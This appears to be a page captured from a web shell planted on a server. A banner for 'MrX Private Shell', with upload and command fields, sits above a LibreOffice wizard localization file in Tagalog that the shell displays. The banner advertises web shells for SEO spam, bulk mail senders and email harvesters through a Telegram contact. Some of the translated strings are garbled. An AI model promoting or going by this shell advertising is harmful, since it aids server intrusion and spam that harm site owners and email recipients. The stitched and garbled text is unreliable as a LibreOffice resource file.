__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#
# This file is part of the LibreOffice project.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
#
# This file incorporates work covered by the following license notice:
#
#   Licensed to the Apache Software Foundation (ASF) under one or more
#   contributor license agreements. See the NOTICE file distributed
#   with this work for additional information regarding copyright
#   ownership. The ASF licenses this file to you under the Apache
#   License, Version 2.0 (the "License; you may not use this file
#   except in compliance with the License. You may obtain a copy of
#   the License at http://www.apache.org/licenses/LICENSE-2.0 .
#
# x-no-translate

#
#  resources.properties
#
#  resources for com.sun.star.wizards
#
RID_COMMON_0=Ang direktoryo na '%1' ay hindi malikha.<BR> Maaaring walang sapat na espasyo ang natitira sa iyong hard disk.
RID_COMMON_1=Hindi malikha ang tekstong dokumento.<BR> Pakisuri kung naka-install ang module na '%PRODUCTNAME Writer'.
RID_COMMON_2=Hindi magawa ang spreadsheet.<BR> Pakisuri kung naka-install ang module na '%PRODUCTNAME Calc'.
RID_COMMON_3=Hindi magawa ang pagtatanghal.<BR> Pakisuri kung naka-install ang module na '%PRODUCTNAME Impress'.
RID_COMMON_4=Hindi magawa ang drawing.<BR> Pakisuri kung naka-install ang module na '%PRODUCTNAME Draw'.
RID_COMMON_5=Hindi magawa ang formula.<BR> Pakisuri kung naka-install ang module na '%PRODUCTNAME Math'.
RID_COMMON_6=Hindi mahanap ang mga file na kailangan.<BR> Pakisimulan ang %PRODUCTNAME Setup at piliin ang 'Ayusin'.
RID_COMMON_7=Ang file '<PATH> ' meron na.<BR><BR> Gusto mo bang i-overwrite ang kasalukuyang file?
RID_COMMON_8=Oo
RID_COMMON_9=Oo sa Lahat
RID_COMMON_10=Hindi
RID_COMMON_11=Kanselahin
RID_COMMON_12=~Tapos na
RID_COMMON_13=< ~Bumalik
RID_COMMON_14=~Susunod >
RID_COMMON_15=~Tulong
RID_COMMON_16=Mga hakbang
RID_COMMON_17=Isara
RID_COMMON_18=OK
RID_COMMON_19=Umiiral na ang file. Gusto mo bang i-overwrite ito?
RID_COMMON_20=Ginawa ang template sa pamamagitan ng <wizard_name> noong <current_date>.
RID_COMMON_21=Hindi mapatakbo ang wizard, dahil hindi nakita ang mahahalagang file.\nSa ilalim ng 'Tools - Options - %PRODUCTNAME - Paths' i-click ang 'Default' na buton upang i-reset ang mga path sa orihinal na default na mga setting.\nPagkatapos ay patakbuhin muli ang wizard.
RID_REPORT_0=Report Wizard
RID_REPORT_3=~Mesa
RID_REPORT_4=Colu~mns
RID_REPORT_7=Report_
RID_REPORT_8=- hindi natukoy -
RID_REPORT_9=~Mga patlang sa ulat
RID_REPORT_11=Pagpapangkat
RID_REPORT_12=Pag-uri-uriin ang mga opsyon
RID_REPORT_13=Pumili ng layout
RID_REPORT_14=Gumawa ng ulat
RID_REPORT_15=Layout ng data
RID_REPORT_16=Layout ng mga header at footer
RID_REPORT_19=Mga patlang
RID_REPORT_20=~Pagbukud-bukurin ayon sa
RID_REPORT_21=T~hen sa pamamagitan ng
RID_REPORT_22=Oryentasyon
RID_REPORT_23=Larawan
RID_REPORT_24=Landscape
RID_REPORT_28=Aling mga field ang gusto mong magkaroon sa iyong ulat?
RID_REPORT_29=Gusto mo bang magdagdag ng mga antas ng pagpapangkat?
RID_REPORT_30=Ayon sa aling mga patlang ang gusto mong pagbukud-bukurin ang data?
RID_REPORT_31=Ano ang gusto mong hitsura ng iyong ulat?
RID_REPORT_32=Magpasya kung paano mo gustong magpatuloy
RID_REPORT_33=Pamagat ng ulat
RID_REPORT_34=Ipakita ang ulat
RID_REPORT_35=Gumawa ng ulat
RID_REPORT_36=Paakyat
RID_REPORT_37=Pababa
RID_REPORT_40=~Dynamic na ulat
RID_REPORT_41=~Gumawa ng ulat ngayon
RID_REPORT_42=~Baguhin ang layout ng ulat
RID_REPORT_43=Static na ulat
RID_REPORT_44=I-save bilang
RID_REPORT_50=Pagpapangkat
RID_REPORT_51=Tapos b~y
RID_REPORT_52=~Pagkatapos ng
RID_REPORT_53=Nagtatapos
RID_REPORT_54=Pag-akyat
RID_REPORT_55=Paakyat~g
RID_REPORT_56=Bumababa
RID_REPORT_57=Des~cending
RID_REPORT_58=Bumababa
RID_REPORT_60=Ang mga binary field ay hindi maipapakita sa ulat.
RID_REPORT_61=Ang mesa'<TABLENAME> ' ay wala.
RID_REPORT_62=Gumagawa ng Ulat...
RID_REPORT_63=Bilang ng mga naipasok na tala:<COUNT>
RID_REPORT_64=Ang anyo'<REPORTFORM> ' ay wala.
RID_REPORT_65=Ang tanong na may pahayag<BR> '<STATEMENT> '<BR> hindi matakbo.<BR> Suriin ang iyong data source.
RID_REPORT_66=Ang sumusunod na nakatagong kontrol sa form na '<REPORTFORM> 'di mabasa:'<CONTROLNAME> '.
RID_REPORT_67=Ini-import ang data...
RID_REPORT_68=Mga patlang ng pag-label
RID_REPORT_69=Paano mo gustong lagyan ng label ang mga field?
RID_REPORT_70=Label
RID_REPORT_71=Patlang
RID_REPORT_72=Nagkaroon ng error sa wizard.<BR> Ang template na '%PATH' ay maaaring mali.<BR> Alinman sa mga kinakailangang seksyon o talahanayan ay wala o umiiral sa ilalim ng maling pangalan.<BR> Tingnan ang Tulong para sa mas detalyadong impormasyon.<BR> Mangyaring pumili ng isa pang template.
RID_REPORT_73=Mayroong di-wastong field ng user sa isang table.
RID_REPORT_74=Ang uri ng pamantayan '<FIELDNAME> ' ay pinili ng dalawang beses. Isang beses lang mapipili ang bawat pamantayan.
RID_REPORT_75=Tandaan: Ang dummy text ay papalitan ng data mula sa database kapag ginawa ang ulat.
RID_REPORT_76=Mayroon nang ulat na '%REPORTNAME' sa database. Mangyaring magtalaga ng ibang pangalan.
RID_REPORT_78=Paano mo gustong magpatuloy pagkatapos gawin ang ulat?
RID_REPORT_79=Anong uri ng ulat ang gusto mong gawin?
RID_REPORT_80=Tabular
RID_REPORT_81=Columnar, single-column
RID_REPORT_82=Columnar, dalawang column
RID_REPORT_83=Columnar, tatlong column
RID_REPORT_84=Sa mga bloke, natitira ang mga label
RID_REPORT_85=Sa mga bloke, mga label sa itaas
RID_REPORT_86=Pamagat:
RID_REPORT_87=May-akda:
RID_REPORT_88=Petsa:
# Please don't translate the words #page# and #count#, these are placeholders.
RID_REPORT_89=Pahina #page# ng #count#
RID_REPORT_90=Numero ng pahina:
RID_REPORT_91=Bilang ng pahina:
RID_REPORT_92=Walang nakitang wastong template ng ulat.
RID_REPORT_93=Pahina:
RID_REPORT_94=I-align sa Kaliwa - Border
RID_REPORT_95=I-align sa Kaliwa - Compact
RID_REPORT_96=I-align sa Kaliwa - Elegant
RID_REPORT_97=I-align sa Kaliwa - Naka-highlight
RID_REPORT_98=I-align sa Kaliwa - Moderno
RID_REPORT_99=I-align sa Kaliwa - Pula at Asul
RID_REPORT_100=Default
RID_REPORT_101=Balangkas - Mga Hangganan
RID_REPORT_102=Balangkas - Compact
RID_REPORT_103=Balangkas - Elegant
RID_REPORT_104=Balangkas - Naka-highlight
RID_REPORT_105=Balangkas - Moderno
RID_REPORT_106=Balangkas - Pula at Asul
RID_REPORT_107=Balangkas, naka-indent - Mga Border
RID_REPORT_108=Balangkas, naka-indent - Compact
RID_REPORT_109=Balangkas, naka-indent - Elegant
RID_REPORT_110=Balangkas, naka-indent - Naka-highlight
RID_REPORT_111=Balangkas, naka-indent - Moderno
RID_REPORT_112=Balangkas, naka-indent - Pula at Asul
RID_REPORT_113=Mga bula
RID_REPORT_114=Sinehan
RID_REPORT_115=Pagkontrol
RID_REPORT_116=Default
RID_REPORT_117=Pag-draft
RID_REPORT_118=Pananalapi
RID_REPORT_119=Flipchart
RID_REPORT_120=Pormal na may Logo ng Kumpanya
RID_REPORT_121=Generic
RID_REPORT_122=Worldmap
RID_DB_COMMON_0=C~reate
RID_DB_COMMON_1=~Kanselahin
RID_DB_COMMON_2=< ~Bumalik
RID_DB_COMMON_3=~Susunod >
RID_DB_COMMON_4=~Database
RID_DB_COMMON_5=~Pangalan ng talahanayan
RID_DB_COMMON_6=May naganap na error habang pinapatakbo ang wizard. Ang wizard ay wawakasan.
RID_DB_COMMON_8=Walang database na na-install. Hindi bababa sa isang database ang kinakailangan bago magsimula ang wizard para sa mga form.
RID_DB_COMMON_9=Ang database ay hindi naglalaman ng anumang mga talahanayan.
RID_DB_COMMON_10=Ang pamagat na ito ay umiiral na sa database. Mangyaring maglagay ng ibang pangalan.
RID_DB_COMMON_11=Ang pamagat ay hindi dapat maglaman ng anumang mga puwang o mga espesyal na character.
RID_DB_COMMON_12=Ang serbisyo ng database (com.sun.data.DatabaseEngine) ay hindi ma-instantiate.
RID_DB_COMMON_13=Hindi mabuksan ang napiling talahanayan o query.
RID_DB_COMMON_14=Walang koneksyon sa database ang maaaring maitatag.
RID_DB_COMMON_20=~Tulong
RID_DB_COMMON_21=~Tumigil ka
RID_DB_COMMON_30=Hindi ma-save ang dokumento.
RID_DB_COMMON_33=Paglabas sa wizard
RID_DB_COMMON_34=Kumokonekta sa data source...
RID_DB_COMMON_35=Hindi maitatag ang koneksyon sa data source.
RID_DB_COMMON_36=Ang path ng file na ipinasok ay hindi wasto.
RID_DB_COMMON_37=Mangyaring pumili ng data source
RID_DB_COMMON_38=Mangyaring pumili ng talahanayan o query
RID_DB_COMMON_39=Magdagdag ng field
RID_DB_COMMON_40=Alisin ang field
RID_DB_COMMON_41=Idagdag ang lahat ng mga patlang
RID_DB_COMMON_42=Alisin ang lahat ng mga patlang
RID_DB_COMMON_43=Itaas ang field
RID_DB_COMMON_44=Ilipat ang field pababa
RID_DB_COMMON_45=Ang mga pangalan ng field mula sa '%NAME' ay hindi makuha.
RID_QUERY_0=Query Wizard
RID_QUERY_1=Tanong
RID_QUERY_2=Query Wizard
RID_QUERY_3=~Mga mesa
RID_QUERY_4=A~magagamit na mga patlang
RID_QUERY_5=Pangalan ~ ng query
RID_QUERY_6=Ipakita ang ~Query
RID_QUERY_7=~Baguhin ang Query
RID_QUERY_8=~Paano mo gustong magpatuloy pagkatapos gawin ang query?
RID_QUERY_9=Itugma ~lahat ng sumusunod
RID_QUERY_10=~Itugma ang alinman sa mga sumusunod
RID_QUERY_11=~Detalyadong query (Ipinapakita ang lahat ng mga talaan ng query.)
RID_QUERY_12=~Summary query (Ipinapakita lamang ang mga resulta ng pinagsama-samang function.)
RID_QUERY_16=Pinagsama-samang mga function
RID_QUERY_17=Mga patlang
RID_QUERY_18=~Pangkatin ayon sa
RID_QUERY_19=Patlang
RID_QUERY_20=alyas
RID_QUERY_21=Talahanayan:
RID_QUERY_22=Tanong:
RID_QUERY_24=Kundisyon
RID_QUERY_25=Halaga
RID_QUERY_26=ay katumbas ng
RID_QUERY_27=ay hindi katumbas ng
RID_QUERY_28=ay mas maliit kaysa sa
RID_QUERY_29=ay mas malaki kaysa sa
RID_QUERY_30=ay katumbas o mas mababa sa
RID_QUERY_31=ay katumbas o mas malaki kaysa sa
RID_QUERY_32=parang
RID_QUERY_33=hindi gusto
RID_QUERY_34=ay null
RID_QUERY_35=ay hindi null
RID_QUERY_36=totoo
RID_QUERY_37=hindi totoo
RID_QUERY_38=at
RID_QUERY_39=o
RID_QUERY_40=makuha ang kabuuan ng
RID_QUERY_41=makuha ang average ng
RID_QUERY_42=makuha ang pinakamababa ng
RID_QUERY_43=makuha ang maximum ng
RID_QUERY_44=kunin ang bilang ng
RID_QUERY_48=(wala)
RID_QUERY_50=Field sa Query:
RID_QUERY_51=Pag-uuri ng pagkakasunud-sunod:
RID_QUERY_52=Walang itinalagang mga field ng pag-uuri.
RID_QUERY_53=Mga kondisyon sa paghahanap:
RID_QUERY_54=Walang mga kundisyon ang itinalaga.
RID_QUERY_55=Pinagsama-samang mga function:
RID_QUERY_56=Walang itinalagang pinagsama-samang function.
RID_QUERY_57=Nakapangkat ayon sa:
RID_QUERY_58=Walang mga Grupo ang itinalaga.
RID_QUERY_59=Mga kondisyon ng pagpapangkat:
RID_QUERY_60=Walang itinalagang kundisyon sa pagpapangkat.
RID_QUERY_70=Piliin ang mga field (column) para sa iyong query
RID_QUERY_71=Piliin ang pagkakasunud-sunod ng pag-uuri
RID_QUERY_72=Piliin ang mga kondisyon sa paghahanap
RID_QUERY_73=Piliin ang uri ng query
RID_QUERY_74=Piliin ang mga pangkat
RID_QUERY_75=Piliin ang mga kundisyon sa pagpapangkat
RID_QUERY_76=Magtalaga ng mga alias kung gusto
RID_QUERY_77=Suriin ang pangkalahatang-ideya at magpasya kung paano magpatuloy
RID_QUERY_80=Pagpili ng field
RID_QUERY_81=Pag-aayos ng pagkakasunud-sunod
RID_QUERY_82=Mga kondisyon sa paghahanap
RID_QUERY_83=Detalye o buod
RID_QUERY_84=Pagpapangkat
RID_QUERY_85=Mga kondisyon ng pagpapangkat
RID_QUERY_86=Mga alyas
RID_QUERY_87=Overview
RID_QUERY_88=Ang isang field na hindi pa nakatalaga ng isang pinagsama-samang function ay dapat gamitin sa isang pangkat.
RID_QUERY_89=Ang kundisyon'<FIELDNAME><LOGICOPERATOR><VALUE> ' ay pinili ng dalawang beses. Isang beses lang mapipili ang bawat kundisyon
RID_QUERY_90=Ang pinagsama-samang pag-andar<FUNCTION> ay dalawang beses na itinalaga sa fieldname '<NUMERICFIELD> '.
RID_QUERY_91=,
RID_QUERY_92=<FIELDTITLE>(<FIELDNAME> )
RID_QUERY_93=<FIELDNAME>(<SORTMODE> )
RID_QUERY_94=<FIELDNAME> <LOGICOPERATOR> <VALUE>
RID_QUERY_95=<CALCULATEDFUNCTION> <FIELDNAME>
RID_QUERY_96=<FIELDNAME> <LOGICOPERATOR> <VALUE>
RID_FORM_0=Form Wizard
RID_FORM_1=Mga patlang sa ~ang anyo
RID_FORM_2=Palaging nakalista ang mga binary na field at mapipili mula sa kaliwang listahan.\nKung maaari, binibigyang-kahulugan ang mga ito bilang mga larawan.
RID_FORM_3=Ang subform ay isang form na inilalagay sa ibang form.\nGumamit ng mga subform upang ipakita ang data mula sa mga talahanayan o query na may one-to-many na ugnayan.
RID_FORM_4=~Magdagdag ng Subform
RID_FORM_5=~Subform batay sa umiiral na kaugnayan
RID_FORM_6=Mga talahanayan o query
RID_FORM_7=Subform batay sa ~manu-manong pagpili ng mga field
RID_FORM_8=~Anong relasyon ang gusto mong idagdag?
RID_FORM_9=Mga field sa ~subform
RID_FORM_12=~Magagamit na mga field
RID_FORM_13=Mga patlang sa anyo
RID_FORM_19=Ang pagsali'<FIELDNAME1> 'at'<FIELDNAME2> ' ay dalawang beses na napili.\nNgunit ang mga pagsali ay maaari lamang gamitin nang isang beses.
RID_FORM_20=~Unang sumali sa field ng subform
RID_FORM_21=~Pangalawahang sumali sa subform na field
RID_FORM_22=~Ikatlo ang sumali sa field ng subform
RID_FORM_23=~Ikaapat na sumali sa field ng subform
RID_FORM_24=Unang sumali sa pangunahing form field
RID_FORM_25=S~econd sumali sa pangunahing patlang ng form
RID_FORM_26=Si T~hird ay sumali sa main form field
RID_FORM_27=Ang F~ourth ay sumali sa pangunahing field ng form
RID_FORM_28=Hangganan ng field
RID_FORM_29=Walang hangganan
RID_FORM_30=3D na hitsura
RID_FORM_31=patag
RID_FORM_32=Paglalagay ng label
RID_FORM_33=I-align sa kaliwa
RID_FORM_34=I-align sa kanan
RID_FORM_35=Pag-aayos ng mga field ng DB
RID_FORM_36=Columnar - Mga Label sa Kaliwa
RID_FORM_37=Columnar - Mga Label sa Itaas
RID_FORM_38=Sa Blocks - Mga Label na Naiwan
RID_FORM_39=Sa Blocks - Mga Label sa Itaas
RID_FORM_40=Bilang Data Sheet
RID_FORM_41=Pag-aayos ng pangunahing anyo
RID_FORM_42=Pag-aayos ng subform
RID_FORM_44=Ang form ay dapat ~gamitin para sa pagpasok ng bagong data lamang.
RID_FORM_45=Ang kasalukuyang data ay hindi ipapakita
RID_FORM_46=Ang form ay upang ipakita ang lahat ng data
RID_FORM_47=Huwag payagan ang ~pagbabago ng umiiral na data
RID_FORM_48=Huwag payagan ang ~pagtanggal ng umiiral na data
RID_FORM_49=Huwag payagan ang ~pagdaragdag ng bagong data
RID_FORM_50=Pangalan ng ~ang anyo
RID_FORM_51=Paano mo gustong magpatuloy pagkatapos gawin ang form?
RID_FORM_52=~Gumawa gamit ang form
RID_FORM_53=~Baguhin ang form
RID_FORM_55=~Mga Estilo ng Pahina
RID_FORM_80=Pagpili ng field
RID_FORM_81=Mag-set up ng subform
RID_FORM_82=Magdagdag ng mga patlang ng subform
RID_FORM_83=Sumali sa mga field
RID_FORM_84=Ayusin ang mga kontrol
RID_FORM_85=Itakda ang data entry
RID_FORM_86=Ilapat ang mga istilo
RID_FORM_87=Itakda ang pangalan
RID_FORM_88=(Petsa)
RID_FORM_89=(Oras)
RID_FORM_90=Piliin ang mga field ng iyong form
RID_FORM_91=Magpasya kung gusto mong mag-set up ng subform
RID_FORM_92=Piliin ang mga field ng iyong subform
RID_FORM_93=Piliin ang mga pagsasama sa pagitan ng iyong mga form
RID_FORM_94=Ayusin ang mga kontrol sa iyong form
RID_FORM_95=Piliin ang data entry mode
RID_FORM_96=Ilapat ang istilo ng iyong form
RID_FORM_97=Itakda ang pangalan ng form
RID_FORM_98=Umiiral na ang isang form na may pangalang '%FORMNAME'.\nPumili ng ibang pangalan.
RID_TABLE_1=Table Wizard
RID_TABLE_2=Pumili ng mga field
RID_TABLE_3=Itakda ang mga uri at format
RID_TABLE_4=Itakda ang pangunahing key
RID_TABLE_5=Lumikha ng talahanayan
RID_TABLE_8=Pumili ng mga field para sa iyong talahanayan
RID_TABLE_9=Itakda ang mga uri at format ng field
RID_TABLE_10=Itakda ang pangunahing key
RID_TABLE_11=Lumikha ng talahanayan
RID_TABLE_14=Tinutulungan ka ng wizard na ito na lumikha ng isang talahanayan para sa iyong database. Pagkatapos pumili ng kategorya ng talahanayan at sample na talahanayan, piliin ang mga field na gusto mong isama sa iyong talahanayan. Maaari kang magsama ng mga field mula sa higit sa isang sample na talahanayan.
RID_TABLE_15=Kategorya
RID_TABLE_16=B~usiness
RID_TABLE_17=P~personal
RID_TABLE_18=~Mga halimbawang talahanayan
RID_TABLE_19=A~magagamit na mga patlang
RID_TABLE_20=Impormasyon sa larangan
RID_TABLE_21=+
RID_TABLE_22=-
RID_TABLE_23=Pangalan ng field
RID_TABLE_24=Uri ng field
RID_TABLE_25=~Mga napiling field
RID_TABLE_26=Ang pangunahing susi ay natatanging kinikilala ang bawat tala sa isang talahanayan ng database. Pinapadali ng mga pangunahing key ang pag-link ng impormasyon sa magkakahiwalay na mga talahanayan, at inirerekomenda na mayroon kang pangunahing key sa bawat talahanayan. Kung walang pangunahing key, hindi posibleng magpasok ng data sa talahanayang ito.
RID_TABLE_27=~Gumawa ng pangunahing key
RID_TABLE_28=~Awtomatikong magdagdag ng pangunahing key
RID_TABLE_29=~Gumamit ng kasalukuyang field bilang pangunahing key
RID_TABLE_30=Tukuyin ang p~rimary key bilang kumbinasyon ng ilang field
RID_TABLE_31=F~ieldname
RID_TABLE_32=~Pangunahing key field
RID_TABLE_33=Auto ~ halaga
RID_TABLE_34=Ano ang gusto mong pangalanan sa iyong mesa?
RID_TABLE_35=Binabati kita. Nailagay mo na ang lahat ng impormasyong kailangan para gawin ang iyong talahanayan.
RID_TABLE_36=Ano ang gusto mong gawin sa susunod?
RID_TABLE_37=Baguhin ang disenyo ng talahanayan
RID_TABLE_38=Ipasok kaagad ang data
RID_TABLE_39=Gumawa ng isang form batay sa talahanayang ito
RID_TABLE_40=Ang talahanayan na iyong ginawa ay hindi mabuksan.
RID_TABLE_41=Ang pangalan ng talahanayan na '%TABLENAME' ay naglalaman ng isang character ('%SPECIALCHAR') na maaaring hindi suportado ng database.
RID_TABLE_42=Ang pangalan ng field na '%FIELDNAME' ay naglalaman ng isang espesyal na character ('%SPECIALCHAR') na maaaring hindi suportado ng database.
RID_TABLE_43=Patlang
RID_TABLE_44=MyTable
RID_TABLE_45=Magdagdag ng Field
RID_TABLE_46=Alisin ang napiling Field
RID_TABLE_47=Hindi maipasok ang field dahil lalampas ito sa maximum na bilang ng %COUNT posibleng mga field sa talahanayan ng database
RID_TABLE_48=Umiiral na ang pangalang '%TABLENAME'.\nMangyaring maglagay ng ibang pangalan.
RID_TABLE_49=Catalog ng talahanayan
RID_TABLE_50=Schema ng talahanayan
RID_TABLE_51=Umiiral na ang field na '%FIELDNAME'.
STEP_ZERO_0=~Kanselahin
STEP_ZERO_1=~Tulong
STEP_ZERO_2=< ~Bumalik
STEP_ZERO_3=~Convert
STEP_ZERO_4=Tandaan: Ang mga halaga ng pera mula sa mga panlabas na link at mga salik ng conversion ng pera sa mga formula ay hindi mako-convert.
STEP_ZERO_5=Una, alisin sa proteksyon ang lahat ng mga sheet.
STEP_ZERO_6=Mga pera:
STEP_ZERO_7=C~ituloy >
STEP_ZERO_8=C~matalo
STEP_CONVERTER_0=~Buong dokumento
STEP_CONVERTER_1=Pagpili
STEP_CONVERTER_2=Cell S~tyles
STEP_CONVERTER_3=Mga cell ng pera sa kasalukuyang ~sheet
STEP_CONVERTER_4=Mga cell ng pera sa buong ~dokumento
STEP_CONVERTER_5=~Napiling hanay
STEP_CONVERTER_6=Piliin ang Mga Estilo ng Cell
STEP_CONVERTER_7=Pumili ng mga cell ng pera
STEP_CONVERTER_8=Mga hanay ng pera:
STEP_CONVERTER_9=Mga template:
STEP_AUTOPILOT_0=lawak
STEP_AUTOPILOT_1=~Iisang %PRODUCTNAME Calc na dokumento
STEP_AUTOPILOT_2=Kumpletuhin ang ~ direktoryo
STEP_AUTOPILOT_3=Pinagmulan ng Dokumento:
STEP_AUTOPILOT_4=Direktoryo ng pinagmulan:
STEP_AUTOPILOT_5=~Kabilang ang mga subfolder
STEP_AUTOPILOT_6=Target na direktoryo:
STEP_AUTOPILOT_7=Pansamantalang i-unprotect ang sheet nang walang query
STEP_AUTOPILOT_10=I-convert din ang mga field at table sa mga text na dokumento
STATUSLINE_0=Katayuan ng conversion:
STATUSLINE_1=Katayuan ng conversion ng mga template ng cell:
STATUSLINE_2=Pagpaparehistro ng mga nauugnay na hanay: Sheet %1Number%1 ng %2TotPageCount%2
STATUSLINE_3=Entry ng mga range na iko-convert...
STATUSLINE_4=Ipapanumbalik ang proteksyon ng sheet para sa bawat sheet...
STATUSLINE_5=Conversion ng mga unit ng pera sa mga template ng cell...
MESSAGES_0=~Tapos na
MESSAGES_1=Pumili ng direktoryo
MESSAGES_2=Pumili ng file
MESSAGES_3=Piliin ang target na direktoryo
MESSAGES_4=wala
MESSAGES_5=Euro Converter
MESSAGES_6=Dapat bang pansamantalang hindi maprotektahan ang mga protektadong spreadsheet?
MESSAGES_7=Ipasok ang password upang i-unprotect ang talahanayan %1TableName%1
MESSAGES_8=Maling Password!
MESSAGES_9=Protektadong Sheet
MESSAGES_10=Babala!
MESSAGES_11=Ang proteksyon para sa mga sheet ay hindi aalisin.
MESSAGES_12=Hindi maaaring hindi maprotektahan ang sheet
MESSAGES_13=Hindi maaaring i-edit ng Wizard ang dokumentong ito dahil hindi mababago ang mga format ng cell sa mga dokumentong naglalaman ng mga protektadong spreadsheet.
MESSAGES_14=Pakitandaan na ang Euro Converter ay, kung hindi, ay hindi ma-edit ang dokumentong ito!
MESSAGES_15=Mangyaring pumili ng currency na iko-convert muna!
MESSAGES_16=Password:
MESSAGES_17=OK
MESSAGES_18=Kanselahin
MESSAGES_19=Mangyaring pumili ng %PRODUCTNAME Calc na dokumento para sa pag-edit!
MESSAGES_20=Ang '<1>' ay hindi isang direktoryo!
MESSAGES_21=Ang dokumento ay read-only!
MESSAGES_22=Umiiral na ang '<1>' file.<CR> Gusto mo bang i-overwrite ito?
MESSAGES_23=Gusto mo ba talagang wakasan ang conversion sa puntong ito?
MESSAGES_24=Kanselahin ang Wizard
CURRENCIES_0=Portuguese Escudo
CURRENCIES_1=Dutch Guilder
CURRENCIES_2=Pranses Franc
CURRENCIES_3=Espanyol Peseta
CURRENCIES_4=Lira ng Italyano
CURRENCIES_5=German Mark
CURRENCIES_6=Belgian Franc
CURRENCIES_7=Irish Punt
CURRENCIES_8=Franc ng Luxembourg
CURRENCIES_9=Austrian Schilling
CURRENCIES_10=Finnish Mark
CURRENCIES_11=Greek Drachma
CURRENCIES_12=Slovenian Tolar
CURRENCIES_13=Cypriot Pound
CURRENCIES_14=Lira ng Malta
CURRENCIES_15=Slovak Koruna
CURRENCIES_16=Estonian Kroon
CURRENCIES_17=Latvian Lats
CURRENCIES_18=Lithuanian Litas
CURRENCIES_19=Croatian Kuna
STEP_LASTPAGE_0=Pag-unlad
STEP_LASTPAGE_1=Kinukuha ang mga nauugnay na dokumento...
STEP_LASTPAGE_2=Kino-convert ang mga dokumento...
STEP_LASTPAGE_3=Mga Setting:
STEP_LASTPAGE_4=Ang sheet ay palaging hindi protektado
STYLES_0=Pagpili ng Tema
STYLES_1=Error habang sine-save ang dokumento sa clipboard! Ang sumusunod na aksyon ay hindi maaaring i-undo.
STYLES_2=~Kanselahin
STYLES_3=~OK
STYLENAME_0=(Karaniwan)
STYLENAME_1=Mga Dahon ng Taglagas
STYLENAME_2=Maging
STYLENAME_3=Itim at Puti
STYLENAME_4=Blackberry Bush
STYLENAME_5=Asul na Jeans
STYLENAME_6=Fifties Diner
STYLENAME_7=Glacier
STYLENAME_8=Mga Luntiang Ubas
STYLENAME_9=Marine
STYLENAME_10=Milenyo
STYLENAME_11=Kalikasan
STYLENAME_12=Neon
STYLENAME_13=Gabi
STYLENAME_14=Nostalgia sa PC
STYLENAME_15=Pastel
STYLENAME_16=Pool Party
STYLENAME_17=Kalabasa
CorrespondenceDialog_0=Addressee
CorrespondenceDialog_1=Isang tatanggap
CorrespondenceDialog_2=Ilang mga tatanggap (address database)
CorrespondenceDialog_3=Paggamit ng Template na Ito
CorrespondenceMsgError=May naganap na error.
CorrespondenceFields_0=I-click ang placeholder at i-overwrite
CorrespondenceFields_1=kumpanya
CorrespondenceFields_2=Kagawaran
CorrespondenceFields_3=Unang Pangalan
CorrespondenceFields_4=Apelyido
CorrespondenceFields_5=kalye
CorrespondenceFields_6=Banse
CorrespondenceFields_7=ZIP/Postal Code
CorrespondenceFields_8=lungsod
CorrespondenceFields_9=Pamagat
CorrespondenceFields_10=Posisyon
CorrespondenceFields_11=Form ng Address
CorrespondenceFields_12=Inisyal
CorrespondenceFields_13=Pagpupugay
CorrespondenceFields_14=Telepono sa Bahay
CorrespondenceFields_15=Telepono sa Trabaho
CorrespondenceFields_16=Fax
CorrespondenceFields_17=Email
CorrespondenceFields_18=URL
CorrespondenceFields_19=Mga Tala
CorrespondenceFields_20=Alt. Patlang 1
CorrespondenceFields_21=Alt. Patlang 2
CorrespondenceFields_22=Alt. Patlang 3
CorrespondenceFields_23=Alt. Patlang 4
CorrespondenceFields_24=ID
CorrespondenceFields_25=Estado
CorrespondenceFields_26=Telepono sa Opisina
CorrespondenceFields_27=Pager
CorrespondenceFields_28=Mobile Phone
CorrespondenceFields_29=Ibang Telepono
CorrespondenceFields_30=URL ng kalendaryo
CorrespondenceFields_31=Mag-imbita
CorrespondenceNoTextmark_0=Ang bookmark na 'Recipient' ay nawawala.
CorrespondenceNoTextmark_1=Hindi maaaring isama ang mga field ng form letter.
AgendaDlgName=Template ng Minuto
AgendaDlgNoCancel=Dapat kumpirmahin ang isang opsyon.
AgendaDlgFrame=Uri ng Minuto
AgendaDlgButton1=Mga Minutong Resulta
AgendaDlgButton2=Mga Minuto ng Pagsusuri
TextField=Hindi tinukoy ang field ng data ng user!
NoDirCreation=Ang '%1' na direktoryo ay hindi maaaring gawin:
MsgDirNotThere=Ang '%1' na direktoryo ay wala.
QueryfornewCreation=Gusto mo bang likhain ito ngayon?
HelpButton=~Tulong
CancelButton=~Kanselahin
BackButton=< ~Bumalik
NextButton=Susunod >
BeginButton=~Convert
CloseButton=~Isara
WelcometextLabel1=Ang wizard na ito ay nagko-convert ng mga legacy na format na dokumento sa Open Document Format para sa Office Applications.
WelcometextLabel3=Piliin ang uri ng dokumento para sa conversion:
MSTemplateCheckbox_1_=Mga template ng salita
MSTemplateCheckbox_2_=Mga template ng Excel
MSTemplateCheckbox_3_=Mga template ng PowerPoint
MSDocumentCheckbox_1_=Mga dokumento ng salita
MSDocumentCheckbox_2_=Mga dokumento sa Excel
MSDocumentCheckbox_3_=Mga dokumento ng PowerPoint/Publisher
MSContainerName=Microsoft Office
SummaryHeader=Buod:
GroupnameDefault=Imported_Templates
ProgressMoreDocs=Mga dokumento
ProgressMoreTemplates=Mga template
FileExists=Umiiral na ang '<1>' file.<CR> Gusto mo bang i-overwrite ito?
MorePathsError3=Walang mga direktoryo
ConvertError1=Gusto mo ba talagang wakasan ang conversion sa puntong ito?
ConvertError2=Kanselahin ang Wizard
RTErrorDesc=May naganap na error sa wizard.
RTErrorHeader=Pagkakamali
